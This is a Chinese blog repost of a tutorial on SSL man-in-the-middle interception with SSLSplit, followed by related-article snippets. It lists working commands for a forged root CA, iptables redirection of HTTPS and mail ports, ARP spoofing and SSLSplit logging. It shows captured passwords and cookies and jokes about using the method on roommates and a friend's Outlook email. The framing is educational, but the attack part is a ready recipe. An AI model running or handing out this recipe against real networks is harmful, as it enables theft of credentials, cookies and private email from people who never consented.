SSL中间人证书攻击测试演练

2024-06-16 02:18

本文主要是介绍SSL中间人证书攻击测试演练,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!



SSL中间人攻击事件

这几天,SSL证书欺骗可以说是占尽了风头,打开微博,朋友圈,FreeBuf处处可以见到SSL证书欺骗的资讯文章。

微软账号系统遭遇大规模SSL中间人攻击
国内iCloud服务器遭遇中间人攻击,中国苹果用户隐私不保
根本停不下来:Yahoo在中国遭遇SSL中间人攻击

……

先是iCloud,然后又是Yahoo,还有就是前几天的Microsoft。接下来的话题,我想再次跟大家聊聊中间人,不过这次主要是跟大家聊一聊关于SSL证书欺骗那点事儿。(说到这个我就心痛,我会告诉你到今天我还看到了一个中间人提示么= =..)

<img src="http://image.3001.net/images/20141021/14138294735036.png!small" title="QQ截图20141021022423.png"/></p>

前言

其实说到MITM我们很正常的会想到很多工具,比如说我前几天刚写的MITMf,比如说:SSLStrip。确实,SSLStrip很强大,不过SSLStrip核心思想还是替换:将https协议强制替换为http。这在很多环境下是受限的。关于SSLStrip的介绍我这里不说太多,网上已经有了很多教程。优劣大家自己去评判。

最近网上大牛EtherDream还提出了一个关于SSLStrip的未来思路的思考,不愧是前端的大牛,十分具有深度,推荐大家去看一下。

不过,今天我们文章的主角却不是SSLStrip,而是另外一款工具——SSLSplit。

工具简介

关于这款工具我做一点简要的介绍:工具的主要原理是以中间人的身份将证书插入到客户端和服务器中间,从而截断客户端和服务器之间的数据。之前我们大多数做的都是针对于80端口的欺骗,也就是说,只要是超越了80端口我们就会有点棘手:比如常用的443端口,比如465和587端口,这些都是通过SSL加密进行数据传输的,简单的80端口监听肯定是什么都拿不到的。这个时候,就体现出SSL证书劫持的作用了。

这里给出SSLSplit的git地址:

https://github.com/droe/sslsplit

不说废话,下面开始安装。

安装

首先我们从git上面把源码搞下来:

git clone https://github.com/droe/sslsplit.git /opt/sslsplit

这里说一下,源码编译依赖于两个包,这个kali默认是没有安装的,我们需要安装一下

apt-get install libssl-dev libevent-dev

然后进行编译

make
make install

成功之后我们输入sslsplit -h应该就会有帮助回显了,很简单,不废话。

数据流量重定向

关于数据怎么重定向到你的电脑上面也就是你怎么成为靶机和服务器的中间人,这个问题不是我们今天讨论的重点,但是因为跟本文还是有点关系,我给出几个建议方式吧:

1、ARP攻击
进内网……还用我多说么?永恒的传奇,不老的ARP。
2、DNS劫持
将靶机的DNS劫持到这里来,想做什么就好说了。
3、WIFI钓鱼
拿着个树莓派改装版或者拿着菠萝瞎溜达,哪里人多找哪里。
4、修改hosts文件
把舍友暴打一顿,然后把他的电脑的hosts文件改掉,反正他也不懂。
5、修改默认网关
把舍友暴打一顿,然后把他的电脑的默认网关改成自己的IP,反正他也不懂。
……

这里我暂时可以想到的就这么多,另外友情提示一下:如果你的朋友比你高比你壮,别去轻易尝试……

这次测试我采用的是ARP攻击的方式。其他方式都是可以的,不一一赘述。

中间人攻击

准备好了之后我们开始尝试中间人攻击。

首先,我们需要一份数字根证书,用来进行中间人欺骗。如果你已经有数字证书就可以跳过这部分了土豪,女生请直接联系我。如果暂时还没有证书的,我们为了实验可以用openssl自己生成一封证书(关于数字证书的生成方式大家可以自行百度,网上很多)。简略步骤如下:

先生成一个key文件

openssl genrsa -out ca.key 2048

然后自签名用生成的key生成公钥证书:

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

<img src="http://image.3001.net/images/20141021/14138263317273.png!small" title="9.png"/></p>

这样我们就把根证书建好了。

然后我们还需要在攻击测试机上进行端口流量转发,将对应的流量转到工具中来,在此之前需要打开ip_forward功能:

echo 1 > /proc/sys/net/ipv4/ip_forward

接着是用iptables进行流量转发,需要把我们需要的端口进行转发:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

当然,在此之前请记得使用iptables -F清除原有设置。

我们可以使用

iptables -t nat -L

看一下我们的当前设置

<img src="http://image.3001.net/images/20141021/14138251146694.png!small" title="2.png"/></p>

这里可以确认没有问题了,进行下一步。

下一步是ARP欺骗,这个不用我说,大家都会,贴出命令:

arpspoof -i eth0 -192.168.217.129 -192.168.217.2

<img src="http://image.3001.net/images/20141021/14138253009567.png!small" title="1.png"/></p>

这里我建议等到临开始劫持的时候再打开ARP,因为我们的端口转发已经打开,ARP流量已经不能与平时一样正常走攻击机的正常端口,会出现靶机上不了网的情况。

接下来就是SSLSplit出场了。

下面是帮助界面:

<img src="http://image.3001.net/images/20141021/14138254861310.png!small" title="10.png"/></p>

这里我不全都介绍,只介绍有用的参数:

-k 指定私钥key文件,进行欺骗

-c 指定Root CA证书文件

-D Debug模式,用于输出SSLSplit状态,建议使用时加上

-j 指定log目录地址

-S 指定-j参数目录下需要记录截断GET、POST请求的子目录地址

-l 指定存储的连接信息文件

ssl IP 端口 指定ssl需要监听的端口

tcp IP 端口 指定tcp需要监听的端口

这时候我们就可以进行中间人劫持了。

启动ARP

arpspoof -i eth0 -192.168.217.129 -192.168.217.2

接着启动SSLSplit

sslsplit --l connect.log -/opt/sslsplit/test1 -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

看图说话

启动之后,ARP结果如下:

<img src="http://image.3001.net/images/20141021/14138265765514.png!small" title="1.png"/></p>

SSLSplit启动之后:

<img src="http://image.3001.net/images/20141021/14138266168489.png!small" title="3.png"/></p>

然后此时我们使用靶机浏览https网页,就已经发现类似以上yahoo的状况了:

<img src="http://image.3001.net/images/20141021/14138266961408.png!small" title="4.png"/></p>

因为我们是追求科学的人,所以我们选择继续浏览:

<img src="http://image.3001.net/images/20141021/14138267242055.png!small" title="5.png"/></p>

在这里我们已经可以清晰看到我们的制作的根证书已经替换掉了服务器的官方证书。

然后,我又尝试了一下其他的诸如几个email网站,百度,taobao,微博等网站进行登录尝试,尝试的结果是:

部分网站可以直接嗅探到登录用户名和密码,而其他网站也大都获取到了Cookie等数据:

<img src="http://image.3001.net/images/20141021/14138269298795.png!small" title="11.png"/></p>

下面是我们通过嗅探得到的部分连接过程的GET以及POST请求文件:

<img src="http://image.3001.net/images/20141021/14138270137312.png!small" title="12.png"/></p>

然后我们可以看到记录中有关Cookie的文件:

<img src="http://image.3001.net/images/20141021/14138272509405.png!small" title="13.png"/></p>

我们看其中任意一个:

<img src="http://image.3001.net/images/20141021/14138274171602.png!small" title="14.png"/></p>

(请无视我这不专业的打码技术=。=如有信息泄露,请第一时间联系我)

可能有朋友也注意到了在iptables进行流量转发的时候还有其他端口,所以其实也完全可以进行Email数据劫持,我忽然记起我有个朋友特别喜欢用Outlook……

差不多了,就到了这里吧。我还要去搞我那个喜欢用Outlook的朋友呢,听说他的邮箱好多大片儿呢!

总结

有的朋友会说你这个肯定不行啊,因为很明显就被别人看出来了,那么个大红的姨妈警告谁看不见啊!这里我解释一下:

1、并不是所有的站点都会有这么明显的提示,经测试,部分国内某些权威的站点就不存在这样的提示。
2、我们本次是本着科普的目的进行单纯的试验,证书完全是自己生成的。那么如果证书真的是权威机构颁发的呢?很贵么?
3、目前我们的网络安全普及程度我想大家都看在眼里,并不是所有人都那么在乎这个红框框的,只要能用不就行了。另外,如果没记错,我们经常使用的买票的那谁的证书也不见得没问题吧,大家还不是照用不误,甚至给很多人以误导:这个提示是没用的,证书有错也是安全的,不信你看那谁.cn!相信你会无话可说。

这个时候如果使用证书劫持去搞wifi钓鱼,你还会说劫持到密码盗取钱财是“耸人听闻”的事情吗?

当然工具没什么技术含量,最重要的还是思路。希望本文可以让大家有点滴收获。:)

[文/FreeBuf小编xia0k 参考来源:github.com philippheckel.com 转载请注明FreeBuf.COM]

这篇关于SSL中间人证书攻击测试演练的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1065236

相关文章

iOS HTTPS证书不受信任解决办法

之前开发App的时候服务端使用的是自签名的证书,导致iOS开发过程中调用HTTPS接口时,证书不被信任 - (void)URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAu

将一维机械振动信号构造为训练集和测试集(Python)

从如下链接中下载轴承数据集。 https://www.sciencedirect.com/science/article/pii/S2352340918314124 import numpy as npimport scipy.io as sioimport matplotlib.pyplot as pltimport statistics as statsimport pandas

SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED]

python 在使用websocket 或者request可能会报这个错误,这是证书认证中的错误,如果不是对安全要求高的开发,可以使用下面的方式使request与websocket正常访问   在request中修改一个参数即可正常使用: textmod = {     "ID": "T214",      "Longitude": 123.6355038767646,      "Lati

编译测试后出现“发现不明确的匹配”错误

原文链接:http://blog.163.com/zhaoyanping_1125/blog/static/201329153201204218533/ 错误提示: 【“/”应用程序中的服务器错误。  分析器错误 说明: 在分析向此请求提供服务所需资源时出错。请检查下列特定分析错误详细信息并适当地修改源文件。  分析器错误信息: 发现不明确的匹配。】   这个问题发生原因一般情况是

RODNet安装测试

项⽬地址: GitHub - yizhou-wang/RODNet: RODNet: Radar object detection network 搭建环境并配置RODNet 1. 参考README.md搭建并配置环境 准备数据集 1. 本实验使⽤ ROD2021 dataset. 百度⽹盘链接:百度网盘 请输入提取码 密码:slxy 2. 使⽤这个script来重新组织文件。 具体形

Mockito测试

Mockito 一 mockito基本概念 Mock测试是单元测试的重要方法之一,而Mockito作为一个流行的Mock框架,简单易学,且有非常简洁的API,测试代码的可读性很高。 Mock测试就是在测试过程中,对于一些不容易构造(如HttpServletRequest必须在Servlet容器中才能构造出来)或者说获取比较复杂的对象(如JDBC中的ResultSet对象)

jmeter测试https请求

公司最近在搞全站HTTPS改造,进一步提高网站的安全性,防止运营商劫持。那么,改造完成后,所有前后端的URL将全部为https。 So ,研究下怎么用Jmeter访问https请求呢。 其实很简单, 第一步在jmeter中创建HTTP请求,如下图进行配置,https端口为443; 第二步,在本机浏览器,如Chrome中导入该域名证书,在更多工具-设置-管理证书的地方,找到该证书,导出到本地。然后在

安全科普:理解SSL(https)中的对称加密与非对称加密

今天刚好为站点的后台弄了下https,就来分享我了解的吧。 密码学最早可以追溯到古希腊罗马时代,那时的加密方法很简单:替换字母。 早期的密码学:   古希腊人用一种叫 Scytale 的工具加密。更快的工具是 transposition cipher—:只是把羊皮纸卷在一根圆木上,写下信息,羊皮纸展开后,这些信息就加密完成了。 虽然很容易被解密,但它确实是第一个在现实中应用加密的

pytest测试框架flaky插件重试失败用例

Pytest提供了丰富的插件来扩展其功能,本章介绍下插件flaky ,用于在测试用例失败时自动重新运行这些测试用例。与前面文章介绍的插件pytest-rerunfailures功能有些类似,但是功能上不如pytest-rerunfailures插件丰富。 flaky官方并没有明确python和pytest版本限制。 flaky安装 使用pip命令安装: pip install flaky

模拟木马程序自动运行:Linux下的隐蔽攻击技术

模拟木马程序自动运行:Linux下的隐蔽攻击技术 在网络安全领域,木马程序是一种常见的恶意软件,它能够悄无声息地在受害者的系统中建立后门,为攻击者提供远程访问权限。本文将探讨攻击者如何在Linux系统中模拟木马程序的自动运行,以及他们可能使用的技术手段。 木马自动运行的常见方法 攻击者通常会使用以下几种方法来确保木马在Linux系统中自动运行: 计划任务(Crontab): 攻击者可以通